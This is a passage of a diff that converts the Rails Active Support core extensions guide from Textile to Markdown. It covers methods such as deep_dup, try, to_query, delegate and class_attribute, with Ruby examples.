object about this property: -<ruby> +```ruby "".duplicable? # => true false.duplicable? # => false -</ruby> +``` -By definition all objects are +duplicable?+ except +nil+, +false+, +true+, symbols, numbers, and class and module objects. +By definition all objects are `duplicable?` except `nil`, `false`, `true`, symbols, numbers, and class and module objects. -WARNING. Any class can disallow duplication removing +dup+ and +clone+ or raising exceptions from them, only +rescue+ can tell whether a given arbitrary object is duplicable. +duplicable?+ depends on the hard-coded list above, but it is much faster than +rescue+. Use it only if you know the hard-coded list is enough in your use case. +WARNING. Any class can disallow duplication removing `dup` and `clone` or raising exceptions from them, only `rescue` can tell whether a given arbitrary object is duplicable. `duplicable?` depends on the hard-coded list above, but it is much faster than `rescue`. Use it only if you know the hard-coded list is enough in your use case. -NOTE: Defined in +active_support/core_ext/object/duplicable.rb+. +NOTE: Defined in `active_support/core_ext/object/duplicable.rb`. -h4. +deep_dup+ +### `deep_dup` -The +deep_dup+ method returns deep copy of a given object. Normally, when you +dup+ an object that contains other objects, ruby does not +dup+ them. If you have an array with a string, for example, it will look like this: +The `deep_dup` method returns deep copy of a given object. Normally, when you `dup` an object that contains other objects, ruby does not `dup` them. If you have an array with a string, for example, it will look like this: -<ruby> +```ruby array = ['string'] duplicate = array.dup @@ -173,13 +176,13 @@ duplicate.first.gsub!('string', 'foo') # first element was not duplicated, it will be changed for both arrays array #=> ['foo'] duplicate #=> ['foo', 'another-string'] -</ruby> +``` -As you can see, after duplicating +Array+ instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since +dup+ does not make deep copy, the string inside array is still the same object. +As you can see, after duplicating `Array` instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since `dup` does not make deep copy, the string inside array is still the same object. -If you need a deep copy of an object, you should use +deep_dup+. Here is an example: +If you need a deep copy of an object, you should use `deep_dup`. Here is an example: -<ruby> +```ruby array = ['string'] duplicate = array.deep_dup @@ -187,25 +190,25 @@ duplicate.first.gsub!('string', 'foo') array #=> ['string'] duplicate #=> ['foo'] -</ruby> +``` -If object is not duplicable, +deep_dup+ will just return this object: +If object is not duplicable, `deep_dup` will just return this object: -<ruby> +```ruby number = 1 dup = number.deep_dup number.object_id == dup.object_id # => true -</ruby> +``` -NOTE: Defined in +active_support/core_ext/object/deep_dup.rb+. +NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`. -h4. +try+ +### `try` -When you want to call a method on an object only if it is not +nil+, the simplest way to achieve it is with conditional statements, adding unnecessary clutter. The alternative is to use +try+. +try+ is like +Object#send+ except that it returns +nil+ if sent to +nil+. +When you want to call a method on an object only if it is not `nil`, the simplest way to achieve it is with conditional statements, adding unnecessary clutter. The alternative is to use `try`. `try` is like `Object#send` except that it returns `nil` if sent to `nil`. Here is an example: -<ruby> +```ruby # without try unless @number.nil? @number.next @@ -213,32 +216,32 @@ end # with try @number.try(:next) -</ruby> +``` -Another example is this code from +ActiveRecord::ConnectionAdapters::AbstractAdapter+ where +@logger+ could be +nil+. You can see that the code uses +try+ and avoids an unnecessary check. +Another example is this code from `ActiveRecord::ConnectionAdapters::AbstractAdapter` where `@logger` could be `nil`. You can see that the code uses `try` and avoids an unnecessary check. -<ruby> +```ruby def log_info(sql, name, ms) if @logger.try(:debug?) name = '%s (%.1fms)' % [name || 'SQL', ms] @logger.debug(format_log_entry(name, sql.squeeze(' '))) end end -</ruby> +``` -+try+ can also be called without arguments but a block, which will only be executed if the object is not nil: +`try` can also be called without arguments but a block, which will only be executed if the object is not nil: -<ruby> +```ruby @person.try { |p| "#{p.first_name} #{p.last_name}" } -</ruby> +``` -NOTE: Defined in +active_support/core_ext/object/try.rb+. +NOTE: Defined in `active_support/core_ext/object/try.rb`. -h4. +class_eval(*args, &block)+ +### `class_eval(*args, &block)` -You can evaluate code in the context of any object's singleton class using +class_eval+: +You can evaluate code in the context of any object's singleton class using `class_eval`: -<ruby> +```ruby class Proc def bind(object) block, time = self, Time.current @@ -251,140 +254,140 @@ class Proc end.bind(object) end end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/kernel/singleton_class.rb+. +NOTE: Defined in `active_support/core_ext/kernel/singleton_class.rb`. -h4. +acts_like?(duck)+ +### `acts_like?(duck)` -The method +acts_like?+ provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as +String+ defines +The method `acts_like?` provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as `String` defines -<ruby> +```ruby def acts_like_string? end -</ruby> +``` which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way: -<ruby> +```ruby some_klass.acts_like?(:string) -</ruby> +``` -Rails has classes that act like +Date+ or +Time+ and follow this contract. +Rails has classes that act like `Date` or `Time` and follow this contract. -NOTE: Defined in +active_support/core_ext/object/acts_like.rb+. +NOTE: Defined in `active_support/core_ext/object/acts_like.rb`. -h4. +to_param+ +### `to_param` -All objects in Rails respond to the method +to_param+, which is meant to return something that represents them as values in a query string, or as URL fragments. +All objects in Rails respond to the method `to_param`, which is meant to return something that represents them as values in a query string, or as URL fragments. -By default +to_param+ just calls +to_s+: +By default `to_param` just calls `to_s`: -<ruby> +```ruby 7.to_param # => "7" -</ruby> +``` -The return value of +to_param+ should *not* be escaped: +The return value of `to_param` should **not** be escaped: -<ruby> +```ruby "Tom & Jerry".to_param # => "Tom & Jerry" -</ruby> +``` Several classes in Rails overwrite this method. -For example +nil+, +true+, and +false+ return themselves. +Array#to_param+ calls +to_param+ on the elements and joins the result with "/": +For example `nil`, `true`, and `false` return themselves. `Array#to_param` calls `to_param` on the elements and joins the result with "/": -<ruby> +```ruby [0, true, String].to_param # => "0/true/String" -</ruby> +``` -Notably, the Rails routing system calls +to_param+ on models to get a value for the +:id+ placeholder. +ActiveRecord::Base#to_param+ returns the +id+ of a model, but you can redefine that method in your models. For example, given +Notably, the Rails routing system calls `to_param` on models to get a value for the `:id` placeholder. `ActiveRecord::Base#to_param` returns the `id` of a model, but you can redefine that method in your models. For example, given -<ruby> +```ruby class User def to_param "#{id}-#{name.parameterize}" end end -</ruby> +``` we get: -<ruby> +```ruby user_path(@user) # => "/users/357-john-smith" -</ruby> +``` -WARNING. Controllers need to be aware of any redefinition of +to_param+ because when a request like that comes in "357-john-smith" is the value of +params[:id]+. +WARNING. Controllers need to be aware of any redefinition of `to_param` because when a request like that comes in "357-john-smith" is the value of `params[:id]`. -NOTE: Defined in +active_support/core_ext/object/to_param.rb+. +NOTE: Defined in `active_support/core_ext/object/to_param.rb`. -h4. +to_query+ +### `to_query` -Except for hashes, given an unescaped +key+ this method constructs the part of a query string that would map such key to what +to_param+ returns. For example, given +Except for hashes, given an unescaped `key` this method constructs the part of a query string that would map such key to what `to_param` returns. For example, given -<ruby> +```ruby class User def to_param "#{id}-#{name.parameterize}" end end -</ruby> +``` we get: -<ruby> +```ruby current_user.to_query('user') # => user=357-john-smith -</ruby> +``` This method escapes whatever is needed, both for the key and the value: -<ruby> +```ruby account.to_query('company[name]') -# => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson" -</ruby> +# => "company%5Bname%5D=Johnson+%26+Johnson" +``` so its output is ready to be used in a query string. -Arrays return the result of applying +to_query+ to each element with <tt>_key_[]</tt> as key, and join the result with "&": +Arrays return the result of applying `to_query` to each element with `_key_[]` as key, and join the result with "&": -<ruby> +```ruby [3.4, -45.6].to_query('sample') # => "sample%5B%5D=3.4&sample%5B%5D=-45.6" -</ruby> +``` -Hashes also respond to +to_query+ but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling +to_query(key)+ on its values. Then it joins the result with "&": +Hashes also respond to `to_query` but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling `to_query(key)` on its values. Then it joins the result with "&": -<ruby> +```ruby {:c => 3, :b => 2, :a => 1}.to_query # => "a=1&b=2&c=3" -</ruby> +``` -The method +Hash#to_query+ accepts an optional namespace for the keys: +The method `Hash#to_query` accepts an optional namespace for the keys: -<ruby> +```ruby {:id => 89, :name => "John Smith"}.to_query('user') # => "user%5Bid%5D=89&user%5Bname%5D=John+Smith" -</ruby> +``` -NOTE: Defined in +active_support/core_ext/object/to_query.rb+. +NOTE: Defined in `active_support/core_ext/object/to_query.rb`. -h4. +with_options+ +### `with_options` -The method +with_options+ provides a way to factor out common options in a series of method calls. +The method `with_options` provides a way to factor out common options in a series of method calls. -Given a default options hash, +with_options+ yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in: +Given a default options hash, `with_options` yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in: -<ruby> +```ruby class Account < ActiveRecord::Base has_many :customers, :dependent => :destroy has_many :products, :dependent => :destroy has_many :invoices, :dependent => :destroy has_many :expenses, :dependent => :destroy end -</ruby> +``` this way: -<ruby> +```ruby class Account < ActiveRecord::Base with_options :dependent => :destroy do |assoc| assoc.has_many :customers @@ -393,30 +396,30 @@ class Account < ActiveRecord::Base assoc.has_many :expenses end end -</ruby> +``` That idiom may convey _grouping_ to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this: -<ruby> +```ruby I18n.with_options :locale => user.locale, :scope => "newsletter" do |i18n| subject i18n.t :subject body i18n.t :body, :user_name => user.name end -</ruby> +``` -TIP: Since +with_options+ forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own. +TIP: Since `with_options` forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own. -NOTE: Defined in +active_support/core_ext/object/with_options.rb+. +NOTE: Defined in `active_support/core_ext/object/with_options.rb`. -h4. Instance Variables +### Instance Variables Active Support provides several methods to ease access to instance variables. -h5. +instance_variable_names+ +#### `instance_variable_names` -Ruby 1.8 and 1.9 have a method called +instance_variables+ that returns the names of the defined instance variables. But they behave differently, in 1.8 it returns strings whereas in 1.9 it returns symbols. Active Support defines +instance_variable_names+ as a portable way to obtain them as strings: +Ruby 1.8 and 1.9 have a method called `instance_variables` that returns the names of the defined instance variables. But they behave differently, in 1.8 it returns strings whereas in 1.9 it returns symbols. Active Support defines `instance_variable_names` as a portable way to obtain them as strings: -<ruby> +```ruby class C def initialize(x, y) @x, @y = x, y @@ -424,18 +427,18 @@ class C end C.new(0, 1).instance_variable_names # => ["@y", "@x"] -</ruby> +``` WARNING: The order in which the names are returned is unspecified, and it indeed depends on the version of the interpreter. -NOTE: Defined in +active_support/core_ext/object/instance_variables.rb+. +NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`. -h5. +instance_values+ +#### `instance_values` -The method +instance_values+ returns a hash that maps instance variable names without "@" to their +The method `instance_values` returns a hash that maps instance variable names without "@" to their corresponding values. Keys are strings: -<ruby> +```ruby class C def initialize(x, y) @x, @y = x, y @@ -443,70 +446,71 @@ class C end C.new(0, 1).instance_values # => {"x" => 0, "y" => 1} -</ruby> +``` -NOTE: Defined in +active_support/core_ext/object/instance_variables.rb+. +NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`. -h4. Silencing Warnings, Streams, and Exceptions +### Silencing Warnings, Streams, and Exceptions -The methods +silence_warnings+ and +enable_warnings+ change the value of +$VERBOSE+ accordingly for the duration of their block, and reset it afterwards: +The methods `silence_warnings` and `enable_warnings` change the value of `$VERBOSE` accordingly for the duration of their block, and reset it afterwards: -<ruby> +```ruby silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger } -</ruby> +``` -You can silence any stream while a block runs with +silence_stream+: +You can silence any stream while a block runs with `silence_stream`: -<ruby> +```ruby silence_stream(STDOUT) do # STDOUT is silent here end -</ruby> +``` -The +quietly+ method addresses the common use case where you want to silence STDOUT and STDERR, even in subprocesses: +The `quietly` method addresses the common use case where you want to silence STDOUT and STDERR, even in subprocesses: -<ruby> +```ruby quietly { system 'bundle install' } -</ruby> +``` For example, the railties test suite uses that one in a few places to prevent command messages from being echoed intermixed with the progress status. -Silencing exceptions is also possible with +suppress+. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is +kind_of?+ any of the arguments, +suppress+ captures it and returns silently. Otherwise the exception is reraised: +Silencing exceptions is also possible with `suppress`. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is `kind_of?` any of the arguments, `suppress` captures it and returns silently. Otherwise the exception is reraised: -<ruby> +```ruby # If the user is locked the increment is lost, no big deal. suppress(ActiveRecord::StaleObjectError) do current_user.increment! :visits end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/kernel/reporting.rb+. +NOTE: Defined in `active_support/core_ext/kernel/reporting.rb`. -h4. +in?+ +### `in?` -The predicate +in?+ tests if an object is included in another object or a list of objects. An +ArgumentError+ exception will be raised if a single argument is passed and it does not respond to +include?+. +The predicate `in?` tests if an object is included in another object or a list of objects. An `ArgumentError` exception will be raised if a single argument is passed and it does not respond to `include?`. -Examples of +in?+: +Examples of `in?`: -<ruby> +```ruby 1.in?(1,2) # => true 1.in?([1,2]) # => true "lo".in?("hello") # => true 25.in?(30..50) # => false 1.in?(1) # => ArgumentError -</ruby> +``` -NOTE: Defined in +active_support/core_ext/object/inclusion.rb+. +NOTE: Defined in `active_support/core_ext/object/inclusion.rb`. -h3. Extensions to +Module+ +Extensions to `Module` +---------------------- -h4. +alias_method_chain+ +### `alias_method_chain` Using plain Ruby you can wrap methods with other methods, that's called _alias chaining_. -For example, let's say you'd like params to be strings in functional tests, as they are in real requests, but still want the convenience of assigning integers and other kind of values. To accomplish that you could wrap +ActionController::TestCase#process+ this way in +test/test_helper.rb+: +For example, let's say you'd like params to be strings in functional tests, as they are in real requests, but still want the convenience of assigning integers and other kind of values. To accomplish that you could wrap `ActionController::TestCase#process` this way in `test/test_helper.rb`: -<ruby> +```ruby ActionController::TestCase.class_eval do # save a reference to the original process method alias_method :original_process, :process @@ -517,13 +521,13 @@ ActionController::TestCase.class_eval do original_process(action, params, session, flash, http_method) end end -</ruby> +``` -That's the method +get+, +post+, etc., delegate the work to. +That's the method `get`, `post`, etc., delegate the work to. -That technique has a risk, it could be the case that +:original_process+ was taken. To try to avoid collisions people choose some label that characterizes what the chaining is about: +That technique has a risk, it could be the case that `:original_process` was taken. To try to avoid collisions people choose some label that characterizes what the chaining is about: -<ruby> +```ruby ActionController::TestCase.class_eval do def process_with_stringified_params(...) params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten] @@ -532,11 +536,11 @@ ActionController::TestCase.class_eval do alias_method :process_without_stringified_params, :process alias_method :process, :process_with_stringified_params end -</ruby> +``` -The method +alias_method_chain+ provides a shortcut for that pattern: +The method `alias_method_chain` provides a shortcut for that pattern: -<ruby> +```ruby ActionController::TestCase.class_eval do def process_with_stringified_params(...) params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten] @@ -544,37 +548,37 @@ ActionController::TestCase.class_eval do end alias_method_chain :process, :stringified_params end -</ruby> +``` -Rails uses +alias_method_chain+ all over the code base. For example validations are added to +ActiveRecord::Base#save+ by wrapping the method that way in a separate module specialized in validations. +Rails uses `alias_method_chain` all over the code base. For example validations are added to `ActiveRecord::Base#save` by wrapping the method that way in a separate module specialized in validations. -NOTE: Defined in +active_support/core_ext/module/aliasing.rb+. +NOTE: Defined in `active_support/core_ext/module/aliasing.rb`. -h4. Attributes +### Attributes -h5. +alias_attribute+ +#### `alias_attribute` Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (my mnemonic is they go in the same order as if you did an assignment): -<ruby> +```ruby class User < ActiveRecord::Base # let me refer to the email column as "login", # possibly meaningful for authentication code alias_attribute :login, :email end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/module/aliasing.rb+. +NOTE: Defined in `active_support/core_ext/module/aliasing.rb`. -h5. Internal Attributes +#### Internal Attributes When you are defining an attribute in a class that is meant to be subclassed, name collisions are a risk. That's remarkably important for libraries. -Active Support defines the macros +attr_internal_reader+, +attr_internal_writer+, and +attr_internal_accessor+. They behave like their Ruby built-in +attr_*+ counterparts, except they name the underlying instance variable in a way that makes collisions less likely. +Active Support defines the macros `attr_internal_reader`, `attr_internal_writer`, and `attr_internal_accessor`. They behave like their Ruby built-in `attr_*` counterparts, except they name the underlying instance variable in a way that makes collisions less likely. -The macro +attr_internal+ is a synonym for +attr_internal_accessor+: +The macro `attr_internal` is a synonym for `attr_internal_accessor`: -<ruby> +```ruby # library class ThirdPartyLibrary::Crawler attr_internal :log_level @@ -584,15 +588,15 @@ end class MyCrawler < ThirdPartyLibrary::Crawler attr_accessor :log_level end -</ruby> +``` -In the previous example it could be the case that +:log_level+ does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own +:log_level+. Thanks to +attr_internal+ there's no collision. +In the previous example it could be the case that `:log_level` does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own `:log_level`. Thanks to `attr_internal` there's no collision. -By default the internal instance variable is named with a leading underscore, +@_log_level+ in the example above. That's configurable via +Module.attr_internal_naming_format+ though, you can pass any +sprintf+-like format string with a leading +@+ and a +%s+ somewhere, which is where the name will be placed. The default is +"@_%s"+. +By default the internal instance variable is named with a leading underscore, `@_log_level` in the example above. That's configurable via `Module.attr_internal_naming_format` though, you can pass any `sprintf`-like format string with a leading `@` and a `%s` somewhere, which is where the name will be placed. The default is `"@_%s"`. Rails uses internal attributes in a few spots, for examples for views: -<ruby> +```ruby module ActionView class Base attr_internal :captures @@ -600,17 +604,17 @@ module ActionView attr_internal :controller, :template end end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/module/attr_internal.rb+. +NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`. -h5. Module Attributes +#### Module Attributes -The macros +mattr_reader+, +mattr_writer+, and +mattr_accessor+ are analogous to the +cattr_*+ macros defined for class. Check "Class Attributes":#class-attributes. +The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are analogous to the `cattr_*` macros defined for class. Check [Class Attributes](#class-attributes). For example, the dependencies mechanism uses them: -<ruby> +```ruby module ActiveSupport module Dependencies mattr_accessor :warnings_on_first_load @@ -627,17 +631,17 @@ module ActiveSupport mattr_accessor :constant_watch_stack_mutex end end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/module/attribute_accessors.rb+. +NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`. -h4. Parents +### Parents -h5. +parent+ +#### `parent` -The +parent+ method on a nested named module returns the module that contains its corresponding constant: +The `parent` method on a nested named module returns the module that contains its corresponding constant: -<ruby> +```ruby module X module Y module Z @@ -648,19 +652,19 @@ M = X::Y::Z X::Y::Z.parent # => X::Y M.parent # => X::Y -</ruby> +``` -If the module is anonymous or belongs to the top-level, +parent+ returns +Object+. +If the module is anonymous or belongs to the top-level, `parent` returns `Object`. -WARNING: Note that in that case +parent_name+ returns +nil+. +WARNING: Note that in that case `parent_name` returns `nil`. -NOTE: Defined in +active_support/core_ext/module/introspection.rb+. +NOTE: Defined in `active_support/core_ext/module/introspection.rb`. -h5. +parent_name+ +#### `parent_name` -The +parent_name+ method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant: +The `parent_name` method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant: -<ruby> +```ruby module X module Y module Z @@ -671,19 +675,19 @@ M = X::Y::Z X::Y::Z.parent_name # => "X::Y" M.parent_name # => "X::Y" -</ruby> +``` -For top-level or anonymous modules +parent_name+ returns +nil+. +For top-level or anonymous modules `parent_name` returns `nil`. -WARNING: Note that in that case +parent+ returns +Object+. +WARNING: Note that in that case `parent` returns `Object`. -NOTE: Defined in +active_support/core_ext/module/introspection.rb+. +NOTE: Defined in `active_support/core_ext/module/introspection.rb`. -h5(#module-parents). +parents+ +#### `parents` -The method +parents+ calls +parent+ on the receiver and upwards until +Object+ is reached. The chain is returned in an array, from bottom to top: +The method `parents` calls `parent` on the receiver and upwards until `Object` is reached. The chain is returned in an array, from bottom to top: -<ruby> +```ruby module X module Y module Z @@ -694,16 +698,16 @@ M = X::Y::Z X::Y::Z.parents # => [X::Y, X, Object] M.parents # => [X::Y, X, Object] -</ruby> +``` -NOTE: Defined in +active_support/core_ext/module/introspection.rb+. +NOTE: Defined in `active_support/core_ext/module/introspection.rb`. -h4. Constants +### Constants -The method +local_constants+ returns the names of the constants that have been +The method `local_constants` returns the names of the constants that have been defined in the receiver module: -<ruby> +```ruby module X X1 = 1 X2 = 2 @@ -715,43 +719,43 @@ end X.local_constants # => [:X1, :X2, :Y] X::Y.local_constants # => [:Y1, :X1] -</ruby> +``` -The names are returned as symbols. (The deprecated method +local_constant_names+ returns strings.) +The names are returned as symbols. (The deprecated method `local_constant_names` returns strings.) -NOTE: Defined in +active_support/core_ext/module/introspection.rb+. +NOTE: Defined in `active_support/core_ext/module/introspection.rb`. -h5. Qualified Constant Names +#### Qualified Constant Names -The standard methods +const_defined?+, +const_get+ , and +const_set+ accept +The standard methods `const_defined?`, `const_get` , and `const_set` accept bare constant names. Active Support extends this API to be able to pass relative qualified constant names. -The new methods are +qualified_const_defined?+, +qualified_const_get+, and -+qualified_const_set+. Their arguments are assumed to be qualified constant +The new methods are `qualified_const_defined?`, `qualified_const_get`, and +`qualified_const_set`. Their arguments are assumed to be qualified constant names relative to their receiver: -<ruby> +```ruby Object.qualified_const_defined?("Math::PI") # => true Object.qualified_const_get("Math::PI") # => 3.141592653589793 Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034 -</ruby> +``` Arguments may be bare constant names: -<ruby> +```ruby Math.qualified_const_get("E") # => 2.718281828459045 -</ruby> +``` These methods are analogous to their builtin counterparts. In particular, -+qualified_constant_defined?+ accepts an optional second argument to be +`qualified_constant_defined?` accepts an optional second argument to be able to say whether you want the predicate to look in the ancestors. This flag is taken into account for each constant in the expression while walking down the path. For example, given -<ruby> +```ruby module M X = 1 end @@ -761,40 +765,40 @@ module N include M end end -</ruby> +``` -+qualified_const_defined?+ behaves this way: +`qualified_const_defined?` behaves this way: -<ruby> +```ruby N.qualified_const_defined?("C::X", false) # => false N.qualified_const_defined?("C::X", true) # => true N.qualified_const_defined?("C::X") # => true -</ruby> +``` As the last example implies, the second argument defaults to true, -as in +const_defined?+. +as in `const_defined?`. For coherence with the builtin methods only relative paths are accepted. -Absolute qualified constant names like +::Math::PI+ raise +NameError+. +Absolute qualified constant names like `::Math::PI` raise `NameError`. -NOTE: Defined in +active_support/core_ext/module/qualified_const.rb+. +NOTE: Defined in `active_support/core_ext/module/qualified_const.rb`. -h4. Reachable +### Reachable A named module is reachable if it is stored in its corresponding constant. It means you can reach the module object via the constant. -That is what ordinarily happens, if a module is called "M", the +M+ constant exists and holds it: +That is what ordinarily happens, if a module is called "M", the `M` constant exists and holds it: -<ruby> +```ruby module M end M.reachable? # => true -</ruby> +``` But since constants and modules are indeed kind of decoupled, module objects can become unreachable: -<ruby> +```ruby module M end @@ -813,15 +817,15 @@ end # The constant M exists now again, and it stores a module # object called "M", but it is a new instance. orphan.reachable? # => false -</ruby> +``` -NOTE: Defined in +active_support/core_ext/module/reachable.rb+. +NOTE: Defined in `active_support/core_ext/module/reachable.rb`. -h4. Anonymous +### Anonymous A module may or may not have a name: -<ruby> +```ruby module M end M.name # => "M" @@ -830,21 +834,21 @@ N = Module.new N.name # => "N" Module.new.name # => nil -</ruby> +``` -You can check whether a module has a name with the predicate +anonymous?+: +You can check whether a module has a name with the predicate `anonymous?`: -<ruby> +```ruby module M end M.anonymous? # => false Module.new.anonymous? # => true -</ruby> +``` Note that being unreachable does not imply being anonymous: -<ruby> +```ruby module M end @@ -852,27 +856,27 @@ m = Object.send(:remove_const, :M) m.reachable? # => false m.anonymous? # => false -</ruby> +``` though an anonymous module is unreachable by definition. -NOTE: Defined in +active_support/core_ext/module/anonymous.rb+. +NOTE: Defined in `active_support/core_ext/module/anonymous.rb`. -h4. Method Delegation +### Method Delegation -The macro +delegate+ offers an easy way to forward methods. +The macro `delegate` offers an easy way to forward methods. -Let's imagine that users in some application have login information in the +User+ model but name and other data in a separate +Profile+ model: +Let's imagine that users in some application have login information in the `User` model but name and other data in a separate `Profile` model: -<ruby> +```ruby class User < ActiveRecord::Base has_one :profile end -</ruby> +``` -With that configuration you get a user's name via his profile, +user.profile.name+, but it could be handy to still be able to access such attribute directly: +With that configuration you get a user's name via his profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly: -<ruby> +```ruby class User < ActiveRecord::Base has_one :profile @@ -880,75 +884,75 @@ class User < ActiveRecord::Base profile.name end end -</ruby> +``` -That is what +delegate+ does for you: +That is what `delegate` does for you: -<ruby> +```ruby class User < ActiveRecord::Base has_one :profile delegate :name, :to => :profile end -</ruby> +``` It is shorter, and the intention more obvious. The method must be public in the target. -The +delegate+ macro accepts several methods: +The `delegate` macro accepts several methods: -<ruby> +```ruby delegate :name, :age, :address, :twitter, :to => :profile -</ruby> +``` -When interpolated into a string, the +:to+ option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver: +When interpolated into a string, the `:to` option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver: -<ruby> +```ruby # delegates to the Rails constant delegate :logger, :to => :Rails # delegates to the receiver's class delegate :table_name, :to => 'self.class' -</ruby> +``` -WARNING: If the +:prefix+ option is +true+ this is less generic, see below. +WARNING: If the `:prefix` option is `true` this is less generic, see below. -By default, if the delegation raises +NoMethodError+ and the target is +nil+ the exception is propagated. You can ask that +nil+ is returned instead with the +:allow_nil+ option: +By default, if the delegation raises `NoMethodError` and the target is `nil` the exception is propagated. You can ask that `nil` is returned instead with the `:allow_nil` option: -<ruby> +```ruby delegate :name, :to => :profile, :allow_nil => true -</ruby> +``` -With +:allow_nil+ the call +user.name+ returns +nil+ if the user has no profile. +With `:allow_nil` the call `user.name` returns `nil` if the user has no profile. -The option +:prefix+ adds a prefix to the name of the generated method. This may be handy for example to get a better name: +The option `:prefix` adds a prefix to the name of the generated method. This may be handy for example to get a better name: -<ruby> +```ruby delegate :street, :to => :address, :prefix => true -</ruby> +``` -The previous example generates +address_street+ rather than +street+. +The previous example generates `address_street` rather than `street`. -WARNING: Since in this case the name of the generated method is composed of the target object and target method names, the +:to+ option must be a method name. +WARNING: Since in this case the name of the generated method is composed of the target object and target method names, the `:to` option must be a method name. A custom prefix may also be configured: -<ruby> +```ruby delegate :size, :to => :attachment, :prefix => :avatar -</ruby> +``` -In the previous example the macro generates +avatar_size+ rather than +size+. +In the previous example the macro generates `avatar_size` rather than `size`. -NOTE: Defined in +active_support/core_ext/module/delegation.rb+ +NOTE: Defined in `active_support/core_ext/module/delegation.rb` -h4. Redefining Methods +### Redefining Methods -There are cases where you need to define a method with +define_method+, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either. +There are cases where you need to define a method with `define_method`, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either. -The method +redefine_method+ prevents such a potential warning, removing the existing method before if needed. Rails uses it in a few places, for instance when it generates an association's API: +The method `redefine_method` prevents such a potential warning, removing the existing method before if needed. Rails uses it in a few places, for instance when it generates an association's API: -<ruby> +```ruby redefine_method("#{reflection.name}=") do |new_value| association = association_instance_get(reflection.name) @@ -959,19 +963,20 @@ redefine_method("#{reflection.name}=") do |new_value| association.replace(new_value) association_instance_set(reflection.name, new_value.nil? ? nil : association) end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/module/remove_method.rb+ +NOTE: Defined in `active_support/core_ext/module/remove_method.rb` -h3. Extensions to +Class+ +Extensions to `Class` +--------------------- -h4. Class Attributes +### Class Attributes -h5. +class_attribute+ +#### `class_attribute` -The method +class_attribute+ declares one or more inheritable class attributes that can be overridden at any level down the hierarchy. +The method `class_attribute` declares one or more inheritable class attributes that can be overridden at any level down the hierarchy. -<ruby> +```ruby class A class_attribute :x end @@ -991,11 +996,11 @@ C.x # => :b C.x = :c A.x # => :a B.x # => :b -</ruby> +``` -For example +ActionMailer::Base+ defines: +For example `ActionMailer::Base` defines: -<ruby> +```ruby class_attribute :default_params self.default_params = { :mime_version => "1.0", @@ -1003,11 +1008,11 @@ self.default_params = { :content_type => "text/plain", :parts_order => [ "text/plain", "text/enriched", "text/html" ] }.freeze -</ruby> +``` They can be also accessed and overridden at the instance level. -<ruby> +```ruby A.x = 1 a1 = A.new @@ -1016,65 +1021,65 @@ a2.x = 2 a1.x # => 1, comes from A a2.x # => 2, overridden in a2 -</ruby> +``` -The generation of the writer instance method can be prevented by setting the option +:instance_writer+ to +false+. +The generation of the writer instance method can be prevented by setting the option `:instance_writer` to `false`. -<ruby> +```ruby module ActiveRecord class Base class_attribute :table_name_prefix, :instance_writer => false self.table_name_prefix = "" end end -</ruby> +``` A model may find that option useful as a way to prevent mass-assignment from setting the attribute. -The generation of the reader instance method can be prevented by setting the option +:instance_reader+ to +false+. +The generation of the reader instance method can be prevented by setting the option `:instance_reader` to `false`. -<ruby> +```ruby class A class_attribute :x, :instance_reader => false end A.new.x = 1 # NoMethodError -</ruby> +``` -For convenience +class_attribute+ also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called +x?+. +For convenience `class_attribute` also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called `x?`. -When +:instance_reader+ is +false+, the instance predicate returns a +NoMethodError+ just like the reader method. +When `:instance_reader` is `false`, the instance predicate returns a `NoMethodError` just like the reader method. -NOTE: Defined in +active_support/core_ext/class/attribute.rb+ +NOTE: Defined in `active_support/core_ext/class/attribute.rb` -h5. +cattr_reader+, +cattr_writer+, and +cattr_accessor+ +#### `cattr_reader`, `cattr_writer`, and `cattr_accessor` -The macros +cattr_reader+, +cattr_writer+, and 